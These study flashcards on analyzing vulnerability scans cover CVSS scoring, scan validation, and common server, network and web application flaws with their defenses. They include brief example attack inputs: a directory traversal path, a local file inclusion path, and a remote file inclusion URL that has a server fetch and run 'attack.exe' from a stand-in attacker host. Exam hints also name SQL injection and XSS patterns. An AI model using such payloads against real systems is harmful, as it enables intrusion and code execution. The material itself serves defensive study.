Chapter 07: Analyzing Vulnerability Scans Flashcards
CVSS
Common Vulnerability Scoring System
Industry standard for assessing the severity of security vulnerabilities
It provdes a technique for scoring each vulnerability on a variety of measures, and analysts use CVSS to prioritize response actions
There are eight measures, with the first four evaluating the exploitability of the vulnerability:
* Attack Vector
* Attack Complexity
* Privileges Required
* User Interaction
The next three evaluate the impact of the vulnerability:
* Confidentiality
* Integrity
* Availability
The last discuses the scope of the vulnerability:
* Scope
AV Metric
Attack Vector Metric
Describes how an attacker would exploit the vulnerability based on the following:
* Physical (P): The attacker must physically touch the vulnerable device—0.20
* Local (L): The attacker must have phyiscal or logical access to the affected system—0.55
* Adjacent Network (A): The attacker must have access to the local network that the affected system is connected to—0.62
* Network (N): The attacker can exploit the vulnerability remotely over a network—0.85
AC Metric
Attack Complexity Metric
Describes the difficulty of exploiting the vulnerabilty based on the following:
* High (H): Exploiting the vulnerability requires specialized conditions that would be difficult to find—0.44
* Low (L): Exploiting the vulnerability doesn’t require any specialized conditions—0.77
PR Metric
Privileges Required Metric
Describes the type of account access that an attacker would need to exploit the vulnerability based on:
* High (H): Attackers require administrative privileges to conduct the attack—0.27 (0.50 if Scope is changed)
* Low (L): Attackers require basic user privileges to conduct the attack—0.62 (0.68 if Scope is changed)
* None (N): Attackers don’t need to authenticate to exploit the vulnerability—0.85
UI Metric
User Interaction Metric
Describes whether the attacker needs to involve another human in the attack based on:
* None (N): Successful exploitation doesn’t require action by any user other than the attacker—0.85
* Required (R): Successful exploitation requires action by a user other than the attacker—0.62
C Metric
Confidentiality Metric
Describes the type of information disclosure that might occur if an attacker successfully exploits the vulnerability based on:
* None (N): There is no confidentiality impact—0.00
* Low (L): Access to some information is possible, but the attacker doesn’t have control over what’s compromised—0.22
* High (H): All information on the system is compromised—0.56
I Metric
Integrity Metric
Describes the type of information alteration that might occur if an attacker successfully exploits the vulnerability based on:
* None (N): There is no integrity impact—0.00
* Low (L): Modification of some information is possible, but the attacker doesn’t have control over what information is modified—0.22
* High (H): The integrity of the system is totally compromised, and the attacker may change any information at will—0.56
A Metric
Availability Metric
Describes the type of disruption that might occur if an attacker successfully exploits the vulnerability based on:
* None (N): There is no availability impact—0.00
* Low (L): The performance of the system is degraded—0.22
* High (H): The system is completely shut down—0.56
S Metric
Scope Metric
Describes whether the vulnerability can affect system components beyond the scope of the vulnerability
NOTE: The scope metric table doesn’t contain score information. The value of the scope metric is reflected in the values for the PR metric
* Unchanged (U): The exploited vulnerability can only affect resources managed by the same security authority
* Changed (C): The exploited vulnerability can affect resources beyond the scope of the security authority managing the component containing the vulnerability
CVSS Vector
Common Vulnerability Scoring System Vector
A single line format that conveys the ratings of a vulnerability on all eight metrics
Example
CVSS:3.1 / AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:N / A:N
This vector contains nine components:
1. CVSS:3.1 = Informs the user that the vector was composed using CVSS version 3.1
2. Attack Vector: Network (0.85)
3. Attack Complexity: Low (0.77)
4. Privileges Required: None (0.85)
5. User Interaction: None (0.85
6. Scope: Unchanged
7. Confidentiality: High (0.56)
8. Integirty: None (0.00)
9. Availability: None (0.00)
Calculating CVSS Base Score
Not necessary to do the math manually, but page 254 + 255 has a detailed write up if you ever want to study it more
CVSS Qualitative Severity Rating Scale
- None: 0.0
- Low: 0.1 to 3.9
- Medium: 4.0 to 6.9
- High: 7.0 to 8.9
- Critical: 9.0 to 10.0
True and False Scan Reports
When a scanner reports a vulnerability that doesn’t exist, it’s known as a false positive
When a vulnerability scanner reports a vulnerability, it’s known as a positive report, which can be either:
* Accurate: true positive report
* Inaccurate: false positive report
When a scanner reports that a vulnerability isn’t present, it’s known as a negative report, which can be either:
* Accurate: true negative report
* Inaccurate: false negative report
Always confirm each vulnerability reported by the scanner, which can be as simple as verifying that a patch is missing or an OS is outdated
It could also be complex
* EX: If you have an SQL injection vulnerability, you might need to attack the web app to see if it’s really there
Draw on your own expertise as well as subject matter experts from around your org like database admins, system engineers, network techs, devs, etc
To Validate Results
Reconcile results
* Results should be reconciled as scanners can misinterpret the information they receive from their probes
Correlate results with other sources
* Correlate the scan results with other data sources by reviewing related system and network logs
Compare to best practices
* Compare results to best practices to determine if they’re a high priority or a low risk
Identify exceptions
* Identify exceptions for findings whose risk has been accepted or transferred
Documented Exceptions
Sometimes orgs might not remediate a vulnerability
Take action to record these exceptions because the vulnerability scanners will continue to report them each time a scan runs
If you document them, the scanner can ignore them in future reports and reduce the noise in scan reports, which increases their overall usefulness
NOTE: Always be aware of what compliance requirements you’re beholden to, so you don’t run afoul of violations
Reconciling Scan Results With Other Data Sources
Vulnerability scans should never take place in a vacuum, which means you should always turn to other sources of security information as you perform analysis:
* Logs: Server, app, network devices etc, might contain information about possible attempts to exploit detected vulnerabilities
* SIEM: These correlate logs entries from multiple sources and provide actionable intelligence
* Configuration Management Systems: These provide information on the OS and apps installed on the system
Trend Analysis
The process of detecting patterns within a data set over time, and using those patterns to make predictions about future events or to better understand past events
Managers should watch for overall trends in vulnerabilities, including the:
* Number of new vulnerabilities arising over time
* Age of the existing vulnerabilities
* Time required to remediate vulnerabilities
Context Awareness
Always consider the context of a vulnerability
EX: A vulnerability on a system directly connected to the internet would be much more severe than one found on an internal system, or a system on an isolated network
Similarly, the asset value of the affected systems should also play a role in prioritizing remediation efforts—higher value assets present more risk to the org and should be higher on the remediation priority list
Zero Day Attacks
Sophisticated attackers will often conduct their own security vulnerability research in an attempt to discover vunlerabilities that are unknown to other attackers or cybersecurity teams
After they uncover it, they don’t disclose it but choose to store it in a vulnerability repository for later use
When they exploit, it’s known as a zero day attack
Zero day are dangerous because they’re unknown to product vendors and there aren’t patches to correct them
APT actors who exploit zero day vulnerabilities can often easily compromise their targets
Server and Endpoint Vulnerabilities
The OS running on both servers and endpoints have millions of lines of code, and the combinations of apps they run make each system fairly unique
Thus, many vulnerabilities detected by scans exist on server and endpoint systems, and they’re often the most complex to remediate
Page 261
Missing Patches
Applying security patches to systems should be one of the core practices of any infosec program
This is sometimes neglected due to lack of resources for preventative maintenance
One of the most common alerts from a vulnerability scan is that one or more systems on the network are running an outdated version of an OS or app, and they require security patches
Mobile Device Security
Mobile devices have a host of security issues of their own and must be carefully managed and patched to remain secure
This is often done through MDM solutions that manage configurations fo the devices, automatically install patches, require the use of encryption, and provide remove wiping
MDM can also restrict the apps that run on a mobile device with an approved list
Typically, mobile devices aren’t going to show up on a vulnerability scan because they’re not often sitting on the network when the scan runs
Admins should always pay careful attention to the security of mobile devices, even if they’re not showing up as devices that require attention after a scan
End of Life or Outdated Components
Eventually, software vendors will discontinue support for every product they make
Once they announce the final end of support, ors that continue running the outdated software put themselves at significant risk of attack
The vendor will not investigate or correct security flaws that arise in outdated products
Always stay up to date on product and service lifecycle information to help plan and mitigate upcoming product EOL circumstances
In cases where an org has to keep using an unsupported OS, you should:
* Isolate the system as much as possible, preferably not connected to the network
* Apply as many compensating controls as possible like increased monitoring and strict firewall rules
Buffer Overflows
Buffer overflow attacks occur when an attacker manipulates a program into placing more data into an area of memory than is allocated for that program’s use
The goal is to overwrite other information in memory with instructions that may be executed by a different process running on the system
These are very common and persist for many years after they’re initially discovered
Buffer overflows target two different types of memory:
* Stack overflows: Targets the stack, which stores variable values and is managed by the OS
* Heap overflows: Targets the heap, which stores objects created by code and must be managed by app devs
* Integer overflows: A variation of buffer overflow where the result of an arithmetic operation attempts to store an integer that is too large to fit into the specified buffer
Dion’s Notes
Heap Overflow
* A software vulnerability where input is allowed to overwrite memory locations within the area of a process’ memory allocation used to store dynamically-sized variables
* A heap overflow can overwrite those variables and possibly allow arbitrary code execution
Integer Overflow
* Attack in which a computed result is too large to fit in its assigned storage space, which may lead to crashing or data corruption, and may trigger a buffer overflow
Overflow Defense
* Choose the right programming language, C and C++ use strcpy and doesn’t perform boundary checking of the buffers—these two languages are very vulnerable to buffer overflows
* Java, Python, and PHP can detect overflow conditions and halt program execution
* Proper input validation and boundary checking on code
* Run programs with least privilege, user accounts vs kernel accounts
* ASLR (Address Space Layout Randomization): Technique that randomizes where components in a running application are placed in memory to protect against buffer overflows
Privilege Escalation
Privilege escalation attacks seek to increase the level of access an attacker has to a target system
They exploit vulnerabilities that allow the transformation of a normal user account into a more privileged one
Rootkits are hacking tools designed to automate privilege escalation attacks—an attacker who gains access to a normal user account can use a rootkit to exploit a vulnerability and perform a privilege escalation attack to get root
Code Execution
Code execution vulnerabilities allow an attacker to run software of their choice on the targeted system
This can be catastrophic, particularly if the vulnerability allows the attacker to run the code with admin privileges
Arbitrary Code Execution
* Vulnerability that allows an attacker to run a code or a module that exploits a vulnerability
* They can run what they want on your system without you stopping them
* If the attacker can physically touch your system and load software, that’s arbitrary—over the internet is RCE
RCE
* Vulnerability that allows an attacker to transmit code from a remote host for execution on a target host or a module that exploits such a vulnerability
* Attackers can exploit the vulnerability over a network connection without physical or logical access to the target system
Insecure Design
Many of the older protocols used on networks in the early days of the internet were designed without security in mind
They failed to use encryption to protect usernames, passwords, and content sent over an open network—this exposed users to eavesdropping attacks
Telnet (23) and FTP (21) are two examples
The solution is to switch to a more secure protocol
Security Misconfiguration
Systems can be configured in a way that allows attackers to gain information about the system’s security settings, or even to allow them to exploit a misconfigured system
For example, debug modes give devs crucial information they need to troubleshoot apps
However, debug modes can also inadvertantly assist attackers by providing detailed information about the inner workings of an app and server, as well as supporting databases
Vulnerability scans will alert to the presence of debug mode on scanned servers
Network Vulnerabilities
Modern interconnected networks use a complex combination of infrastructure components and network appliances to provide widespread access to secure communications capabilities
These networks and their component parts are susceptible to security vulnerabilities that will show up on scans
Page 269
Missing Firmware Updates
OS and apps aren’t the only devices that require regular security updates
Vulnerability scans can also detect security problems in network devices that require firmware updates form the manufacturer to correct
These vulnerabilities result in reports similar to the OS missing patch report and typically direct admins to the location of the vendor’s site where the firmware update is available
Outdated SSL/TLS Versions
SSL isn’t secure and shouldn’t be used on production systems, and the same is true for early TLS versions
Vulnerability scanners may report that web servers are using these protocols, which means any connection using outdated versions is subject to eavesdropping attacks
Disable support for the outdated protocols and support only newer versions
Insecure Cipher Use
SSL and TLS are not themselves cryptographic ciphers
Admins can designate the cryptographic ciphers that can be used with the protocols on a server-by-server basis
When a client and server want to communicate using SSL/TLS, they exchagne a list of ciphers that each system supports and agree on a mutually acceptable one
Some ciphers contain vulnerabilities that render them insecure because of their susceptibility to eavesdropping attacks
To solve, you have to alter the set of supported ciphers on the affected server and ensure only secure ciphers are used
Certificate Problems
SSL and TLS rely on digital certs to validate the identify of servers and exchange cryptographic keys
Vulnerability scans can detect issues with the certificates presented by servers that support SSL and/or TLS
Common errors include:
* Mismatch Between the Name on the Certificate and the Name of the Server: Serious error that may indicate the use of a certificate taken from another site—it’s the digital equivalent of someone using a fake ID borrowed from a friend
* Expiration of the Digital Certificate: When you see an expired certificate, it most likely means that the server admin failed to renew it in a timely manner
* Unknown CA: Anyone can create a digital certificate, but they’re only useful if the recipient of a certificate trusts the entity that issued it—OS and browsers contain instructions to trust well-known CAs but will show errors if they encounter certificates issued by an unknown or untrusted CA
Internal IP Disclosure
IPs come in two variants: public and private
Any server that’s accessible over the internet must have a public IP that allows access, but that address is often managed by a firewall that uses NAT to map the public IP to the server’s true private IP
Systems on the local network can use the server’s private IP for direct access, but remote systems should never be aware of that IP
Servers that aren’t properly configured may leak their private IP to remote systems
This can occur when the system includes its own IP in the header information returned to an HTTP request
The server isn’t aware that NAT is in use, so it uses a private address in its response
Attackers can use this information to learn more about the internal configuration of a firewalled network
Critical Infrastructure and Operational Technology
Analysts might come across the use of these systems:
* SCADA (Supervisory Control and Data Acquisition)
* ICS (Industrial Control Systems)
* IoT (Internet of Thins)
* OT (operational technology)
These systems allow the connection of physical devices and processes to networks and provide tremendous sources of data for orgs
They each have major security concerns as well
Four Key Controls for Mitigating Vulnerabilities in Specialized Systems
1. Establish administrative control over operational technology networks by recruiting staff with relevant expertise
2. Implement the minimum network links by disabling unnecessary links, servicse, and protocols
3. Develop and test a patch management program for OT networks
4. Perform regular audits of logical and physical access to systems to detect possible vulnerabilities and intrusions
Page 275
Web App Vulnerabilities
Web apps are complex environments that often rely on web servers, backend databases, authentication servers, and other components to provide services to end users
They may also contain security holes that allow attackers to gain a foothold on a network, and vulnerability scanners acn problem them for vulnerabilities
Page 276
Injection Flaws
Injection flaws occur when an attacker is able to send commands through a web server to a backend system, bypassing normal security controls and fooling the backend system into believing the request came from the web server
The most common form of this attack is SQL injection, which exploits web apps to send unauthorized commands to a backend database server
An injection attack is the insertion of additional information or code through data input from a client to an application
Defense is to use input validation and enforce least privilege restrictions on database access
Aside from SQL injection, analysts should be aware of attacks that seek to introduce user-supplied, malicious content into XML docs and LDAP queries
Dion’s Notes
SQL Injection
* SQL commands: select, insert, delete, update
* Attack consisting of the insertion or injection of an SQL query via input data from the client to a web app
* An attacker must test every single input to include elements to identify an SQL injection vulnerability
* EXAM: If you see something with ‘ or ‘’ it is almost always SQL injection
* EXAM: X = X where X = any number (1=1, 5=5, etc), it’s SQL injection
XML
* On the exam, could be referred to as XML vulnerabilities, exploitation, or injection
* XML data submitted without encryption or input validation is vulnerable to spoofing, request forgery, and injection of arbitrary code
* XML Bomb (Billion Laughs Attack): XML encodes entities that expand to exponential sizes, consuming memory on the host and potentially crashing it
* XML External Entity (XXE): An attack that embeds a request for a local resource
* To prevent XML vulnerabilities, use input validation
* EXAM: If you see XML, it’s XML vulnerability being exploited
* EXAM: XML can look a lot like HTML, but HTML has predefined things like font, image, or ahref—take time to read the code and see
* EXAM: XML uses things like question, ID, type, element, or entity
XSS
Cross site scripting is when an attacker embeds scripting commands on a website that will later be executed by an unsuspecting visitor accessing the site
The idea is to trick a user into visiting a trusted site into executing malicious code placed by an untrusted third party
XSS comes in two flavors:
* Persistent XSS: When the attacker is able to actually store the attack code on a server, which remains there waiting for a user to request the affected content—also known as stored XSS
* Reflected XSS: When the attacker tricks a user into sending the attack to the server as part of a query string or other content—the server then sends the attack back to the user (reflecting it) and causing the code to execute
Dion’s Notes
* A malicious script hosted on the attacker’s site or coded in a link injected onto a trusted site designed to compromise clients browsing the trusted site, circumventing the browser’s security model of trusted zones
* We’re trying to get you to click or run something your system doesn’t want you to
* NOTE: XSS is a powerful input validation exploit—you need to do input validation to protect yourself from XSS
* XSS breaks the browser’s security model since browsers assume that scripting is safe
* DOM (Document Object Model) XSS: An attack that exploits the client’s web browser using the client-side scripts to modify the content and layout of a web page—DOM XSS attacks run with the logged in user’s privileges of the local system
* EXAM: If you see something with “script” in it, usually XSS
* EXAM: If you see something with “javascript” as part of the URL captured within a log, likely XSS
* EXAM: If you see “script alert document . something” it’s DOM XSS
Directory Traversal
When the attacker inserts filesystem path values into a query string, seeking to navigate to a file located in an area not normally authorized for public access
WEBSITE/policy?document=’../../payroll/mike.pdf
Software devs and security pros should implement three types of controls to protect against directory traversal:
1. App designs should avoid including filenames in user-manipulatable fields like query strings
2. Input validation should prevent the use of special characters required to perform directory traversal
3. Access controls on storage servers should restrict the web server’s access to files authorized for public access
- EXAM: Any time you see something with “../” it’s directory traversal
- EXAM: “../” could also be file inclusion, but the test won’t give you choices that include both—it will be either or
File Inclusion
File inclusion attacks take directory traversal to the next level
Instead of simply retreiving a file from the local OS and displaying it to the attacker, file inclusion actually executes the code contained within the file, allowing an attacker to fool the webserver into executing arbitrary code
They come in two flavors:
* LFI: Seeks to execute code stored in a file located elsewhere on the webserver and works similarly to a directory traversal attack
* EX: website/app.php?include=C:\www\uploads\attack.exe
* RFI: Allows attacker to execute code stored on a remote server, and is especially dangerous because the attacker can directly control the code being executed without first having to store a file on the local server
* EX: website/app/php?include=http://evil.attacker.com/attack.exe
Most often, when attackers discover file inclusion vulnerabilities they will exploit them to upload a web shell to the server
The web shell allows them to execute commands directly on the server and view the results in their browser—access to the server over HTTP/S like this makes traffic less vulnerable to detection by security tools
Dion’s Notes
* A web app vulnerability that allows an attacker to either download a file from an arbitrary location on the host file system or to upload an executable or script file to open a backdoor
* RFI: An attacker executes a script to inject a remote file into the web app or website
* LFI: An attacker adds a file to the web app or website that already exists on the hosting server
Request Forgery
Request forgery attacks exploit trust relationships and attempt to have users unwittingly execute commands against a remote server
They come in two flavors:
* CSRF
* SSRF
CSRF
Cross Site Request Forgery
XSS exploits the trust that a user has in a website to execute code on the user’s computer, but CSRF exploits the trust that remote sites have in a user’s system to execute commands on the user’s behalf
CSRF details:
* Operates on the assumption that users are often logged into many different sites at the same time
* Attackers can then embed code in one site that sends a command to a second site
* When user clicks the link on the first site, they’re unknowingly sending a command to the second site
* If user is logged into second site, the command may succeed
Devs can protect web apps from CSRF by:
* Creating web apps that use secure tokens that the attacker wouldn’t know to embed in links
* Have sites check referring URL in requests received from end users and only accept requests originating from their own site
Dion’s Notes
* A malicous script hosted on the attacker’s site that can exploit a session started on another site in the same browser
* Attackers must convince victims to start a session with the target website
* Attacker passes HTTP request to victim’s browser and spoof this as an action on the target site, such as changing a password
* Can be disguised with image tags, HTML coding, or many other tactics
* Victim doesn’t always need to click a link
* If the target site assumes the browser is authenticated, that’s because they have a valid session token from that browser already from that victim, it doesn’t need additonal authorization
Defense
* Request user-specific tokens in all form submissions
SSRF
Server Side Request Forgery
Similar to CSRF, but instead of tricking a user’s browser into visiting a URL, they trick a server into visiting a URL based upon user-supplied input
SSRF attacks are possible when a web app accepts URLs from users as input and then retrieves information from that URL
If the server has access to non-public URLs, an SSRF can unintentionally disclose that information to an attacker
Dion’s Notes
* An attack in which an attacker is able to send a request on behalf of a web app
* Includes internal systems like databases or services that aren’t exposed to the public internet, like a local host
* To prevent SSRF, use proper input validation, authentication, and access controls in all of your apps
* You can also use WAFs to detect and block SSRF attacks
Identification and Authentication Failures
There are a few common methods of targeting IAM systems as well as the use of identity information, each with common protection methods to remediate
Many have access to broken control systems at their core—poorly designed or improperly implemented access control systems expose orgs to a variety of attacks
They include:
* Password spraying
* Credential stuffing
* Impersonation
* MITM
* Session hijacking
Spoofing
* A software-based attack where the goal is to assume the identity of a user, process, address, or other unique identifier
Broken Authentication
* A software vulnerability where the authentication mechanism allows an attacker to gain entry
* This is caused by weak password credentials, weak password reset methods, credential exposure, session hijacking
Page 281
Password Reuse
Two common authentication vulnerabilities arise because of the propensity of users to reuse the same passwords across multiple sites:
* Password Spraying Attacks: When an attacker uses a list of common passwords and attempts to log into many different user accounts with those common passwords—they only need to find one valid user/pass combo to gain access
* Credential Stuffing Attacks: When an attacker takes a list of user/pass that were stolen in the copromise of one site and uses them to attempt to gain access to a different, potentially unrelated site
Both of these attacks are successful when:
* Spraying: Users don’t choose sufficiently unique passwords
* Stuffing: Users reuse the same passwords across many different sites
To help remediate:
* Use strong password management practices
* Require the use of MFA on sensitive systems
Impersonation
Impersonation attacks occur when an attacker takes on the identity of a legitimate user
Security issues like OAuth open redirects can allow impersonation to occur
Preventing impersonation may require stronger session handling techniques like those found on OWASP’s session management cheat sheet
Other types of impersonation can be prevented by securing session identifiers that attackers might otherwise acquire, either on the local workstation or over the network
https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html
MITM
On path and man in the middle attacks occur when an attacker is able to intefere with the comms flow between two systems
End-to-end encryption of sessions or network links can help reduce the change of a successful MITM attack, unless attackers control endpoints or have the encryption keys
MITB
* An attack that intercepts API calls between the browser processes and its DLLs
Session Hijacking
Focuses on taking over an already existing session, either by acquiring the sesion key or cookies used by the remote server to validate the session
Or by causing the session to pass through a system the attacker controls, allowing them to participate in the session
Much like impersonation and MITM, securing the data that an attacker needs to acquire in order to hijack the session
Encrypt network sessions, links, and on local system to limit the opporunities for session hijacking
Session Management
* Enables web apps to uniquely identify a user across a number of different actions and requests, while keeping the state of the data generated by the user and ensuring it’s assigned to that user
* Session cookies are non-persistent, reside in memory, and are deleted when the browser instance is closed
* Persistent cookies are stored in a file or your database and aren’t deleted until you do so manually
Session hijacking attacks can occur through the theft or modification of cookies
Session Prediction Attack
* A type of spoofing attack where the attacker attempts to predict the session token to hijack a session
* A session token must be generated using a non-predictable algorithm and it must not reveal any information about the session client
Cookie Poisoning
* Modifies the contents of a cookie after it’s been generated and sent by the web service to the client’s browser so that the newly modified cookie can be used to exploit vulnerabilities in the web app
* Do input validation, encrypt cookies, delete cookies from browser cache when user terminates session
Data Poisoning
Attacks that try to manipulate training datasets in a way that causes ML algorithms to create inaccurate models
AKA fake telemetry
